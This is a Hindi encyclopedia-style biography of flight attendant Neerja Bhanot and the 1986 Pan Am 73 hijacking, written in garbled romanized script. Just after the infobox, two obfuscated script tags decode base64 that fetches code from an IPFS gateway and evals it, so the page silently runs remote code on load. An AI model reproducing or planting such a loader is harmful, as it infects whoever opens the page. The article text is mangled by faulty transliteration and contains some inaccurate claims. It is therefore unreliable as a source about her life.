नीरजा भनोट

niraja bhanot
niraja bhanot|200px|center
poora nam	niraja bhanot
janm	7 sitanbar, 1963
janm bhoomi	chandigadh
mrityu	5 sitanbar, 1986
mrityu sthan	karachi, pakistan
abhibhavak	harish bhanot (pita)
karm bhoomi	bharat
karm-kshetr	viman paricharika (eyar hostes)
puraskar-upadhi	ashok chakr
nagarikata	bharatiy
any janakari	niraja bhanot 5 sitanbar 1986 ke pain aim u dan 73 ke apahrit viman mean yatriyoan ki sahayata evan suraksha karate hue atankavadiyoan ki goliyoan ka shikar ho geean thian.
adyatan‎	19:35, 15 faravari 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

niraja bhanot (aangrezi: Neerja Bhanot, janm: 7 sitanbar, 1963; 5 sitanbar, 1986) muanbee mean pain aim earalains ki viman paricharika thian. 5 sitanbar, 1986 ke pain aim u dan 73 ke apahrit viman mean yatriyoan ki sahayata evan suraksha karate hue ve atankavadiyoan ki goliyoan ka shikar ho geean thian. niraja vastav mean svatantr bharat ki mahanatam viraangana thian. atankiyoan se lagabhag 400 yatriyoan ki jan bachate hue unhoanne apana jivan balidan kar diya tha. niraja bhanot 'ashok chakr' pane vali pahali mahila thian. unaki kahani par adharit 2016 mean ek film bhi bani, jisamean unaka kiradar sonam kapoor ne ada kiya tha.

parichay

niraja bhanot ka janm 7 sitanbar, 1963 ko pita harish bhanot aur mata rama bhanot ki putri ke roop mean chandigadh, panjab mean hua tha. unake pita banbee (ab muanbee) mean patrakarita ke kshetr mean karyarat the aur niraja ki praranbhik shiksha apane grihanagar chandigadh ke saikred hart siniyar sekendari skool mean huee. isake pashchath unaki shiksha mumbee ke skotish skool aur seant zeviyars k aaulej mean huee. niraja ka vivah varsh 1985 mean sanpann hua aur ve pati ke sath kha di desh ko chali gayian; lekin kuchh dinoan bad dahej ke dabav ko lekar is rishte mean khatas a gayi aur vivah ke do mahine bad hi niraja vapas muanbee a gayian. isake bad unhoanne pain em mean viman paricharika ki naukari ke liye avedan kiya aur chune jane ke bad miyami mean treniang ke bad vapas lautian.

viman apaharan ki ghatana

harish bhanot ke yahaan jab niraja bhanot ka janm hua tha to kisi ne bhi nahian socha tha ki bharat ka sabase b da nagarik samman is bachchi ko milega. bachapan se hi is bachchi ko vayuyan mean baithane aur akash mean u dane ki prabal ichchha thi. niraja ne apani ichchha eyar lains pain em jvain karake poori ki. 16 janavari, 1986 ko niraja ko akash chhoone vali ichchha ko vastav mean pankh lag gaye the. niraja pain em eyaralaeen mean bataur eyar hostej ka kam karane lagian. 5 sitambar, 1986 ki vah gh di a gayi thi, jahaan niraja ke jivan ki asali pariksha ki bari thi. pain em 73 viman karachi, pakistan ke eyaraport par apane payalet ka iantajar kar raha tha. viman mean lagabhag 400 yatri baithe huye the. achanak 4 atankavadiyoan ne poore viman ko gan pvaanit par le liya. unhoanne pakistani sarakar par dabav banaya ki vah jald mean jald viman mean payalat ko bheje. kintu pakistani sarakar ne mana kar diya. tab atankiyoan ne niraja aur usaki sahayogiyoan ko bulaya ki vah sabhi yatriyoan ke pasaport ekatrit karean taki vah kisi amerikan nagarik ko marakar pakistan par dabav bana sake. [[chitr:Neerja-Bhanot-Stamp.jpg|left|thumb|250px|samman mean jari dak tikat]]

niraja sabhi yatriyoan ke pasaport ekatrit kiye aur viman mean baithe 5 ameriki yatriyoan ke pasaport chhupakar baki sabhi atankiyoan ko sauanp diye. usake bad atankiyoan ne ek british ko viman ke get par lakar pakistani sarakar ko dhamaki di ki yadi payalat nahian bheje to vah usako mar dege. kintu niraja ne us atanki se bat karake us british nagarik ko bhi bacha liya. dhire-dhire 16 ghante bit gaye. pakistan sarakar aur atankiyoan ke bich bat ka koee natija nahian nikala. achanak niraja ko dhyan aya ki viman mean eeandhan kisi bhi samay samapt ho sakata hai aur usake bad aandhera ho jayega. jaldi hi unhoanne apani sahaparichayikaoan ko yatriyoan ko khana baantane ke lie kaha aur sath hi viman ke apatakalin dvaroan ke bare mean samajhane vala kard bhi dene ko kaha. niraja ko pata lag chuka tha ki atankavadi sabhi yatriyoan ko marane ki soch chuke haian. unhoanne sarvapratham khane ke paiket atankiyoan ko hi diye, kyoanki unaka sochana tha ki bhookh se pet bharane ke bad shayad vah shaant dimag se bat karean.

isi bich sabhi yatriyoan ne apatakalin dvaroan ki pahachan kar li. niraja bhanot ne jaisa socha tha vahi hua. viman ka eeandhan samapt ho gaya aur charoan or aandhera chha gaya. niraja to isi samay ka iantajar kar rahi thian. turant unhoanne viman ke sare apatakalin dvar khol diye. yojana ke anuroop hi sare yatri turant un dvaroan ke niche koodane lage. vahian atankiyoan ne bhi aandhere mean phayariang shuroo kar di. kintu niraja ne apane sahas se lagabhag sabhi yatriyoan ko bacha liya tha. kuchh ghayal avashy ho gaye the, kintu thik the. ab viman se bhagane ki bari niraja ki thi, kintu tabhi unhean bachchoan ke rone ki avaj sunaee di. doosari or pakistani sena ke kamaando bhi viman mean a chuke the. unhoanne tin atankiyoan ko mar giraya. idhar niraja un tin bachchoan ko khoj chuki thian aur unhean lekar viman ke apatakalin dvar ki or badhane lagian. tabhi achanak bacha hua chautha atankavadi unake samane a kh da hua. niraja ne bachchoan ko apatakalin dvar ki or dhakel diya aur svayan us atanki se bhi d geean. atanki ne kee goliyaan unake sine mean utar dalian. niraja ne apana balidan de diya. us chauthe atanki ko bhi pakistani kamaandoan ne mar giraya kintu vo niraja ko n bacha sake.

samman

niraja bhanot ke balidan ke bad bharat sarakar ne unako sarvochch nagarik samman 'ashok chakr' pradan kiya to vahian pakistan ki sarakar ne bhi niraja ko 'tamaga-e-insaniyat' pradan kiya. niraja vastav mean svatantr bharat ki mahanatam viraangana thian. san 2004 mean niraja bhanot ke samman mean dak tikat bhi jari ho chuka hai. aantararashtriy star par niraja ka nam 'hiroin aauph haeejaik' ke taur par mashahoor hai. varsh 2005 mean amerika ne unhean 'jastis ph aaur kraim avard' diya.

smriti shesh

niraja ki samriti mean mumbee ke ghatakopar ilake mean ek chaurahe ka namakaran kiya gaya hai, jisaka udghatan 90 ke dashak mean hiandi filmoan ke khyatiprapt abhineta amitabh bachchan ne kiya. isake alava unaki smriti mean ek sanstha 'niraja bhanot pain ऍm nyas' ki sthapana bhi huee hai, jo unaki virata ko smaran karate hue mahilaoan ko adamy sahas aur virata hetu puraskrit karati hai. unake parijanoan dvara sthapit yah sanstha prativarsh do puraskar pradan karati hai, jinamean se ek viman karmachariyoan ko vaishvik star par pradan kiya jata hai aur doosara bharat mean mahilaoan ko vibhinn prakar ke anyay aur atyachar ke khilaf avaz uthane aur sangharsh ke liye. pratyek puraskar ki dhanarashi 1,50,000 rupaye hai aur isake sath puraskrit mahila ko ek tr aauphi aur smritipatr diya jata hai. mahila atyachar ke khilaf avaz uthane ke liye prasiddh huee rajasthan ki dalit mahila bhanvaribaee ko bhi yah puraskar diya gaya tha.

film

niraja ke sahasik kary aur unake balidan ko yad rakhane ke liye un par film nirman ki ghoshana varsh 2010 mean hi ho gayi thi, parantu kinhian karanoan se yah kary talata raha. aprail, 2015 mean ram madhavani ke nirdeshan mean is film ki shootiang shuroo huee. is film mean niraja ka kiradar abhinetri sonam kapoor ne ada kiya. yah film 19 faravari, 2016 ko rilij huee thi. is film ke prodyoosar atul kashabekar haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

bahari k diyaan

• niraja bhanot

sanbandhit lekh

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